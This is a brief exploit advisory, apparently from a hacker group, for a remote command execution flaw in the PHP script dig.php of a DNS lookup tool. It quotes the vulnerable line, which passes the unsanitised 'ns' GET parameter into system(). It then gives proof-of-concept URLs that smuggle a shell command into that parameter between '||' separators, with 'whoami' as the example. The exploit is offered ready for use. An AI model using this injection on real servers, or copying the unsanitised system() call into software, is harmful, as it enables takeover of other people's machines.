DNS Tools Remote Command Execution

`############################################################################################  
[+] DNS Tools (PHP Digger) Remote Command Execution  
[+] Discovered By SirGod  
[+] www.mortal-team.org  
[+] www.h4cky0u.org  
############################################################################################  
  
[+] Remote Command Execution  
  
- Vulnerable code in dig.php  
  
------------------------------------------  
$ns = $_GET['ns'];  
  
system ("dig @$ns $host $query_type");  
------------------------------------------  
  
We can execute commands via "ns" variable.Just use || before and after  
the command.  
  
PoC :  
  
http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging  
  
Example :  
  
http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging  
  
############################################################################################  
  
  
`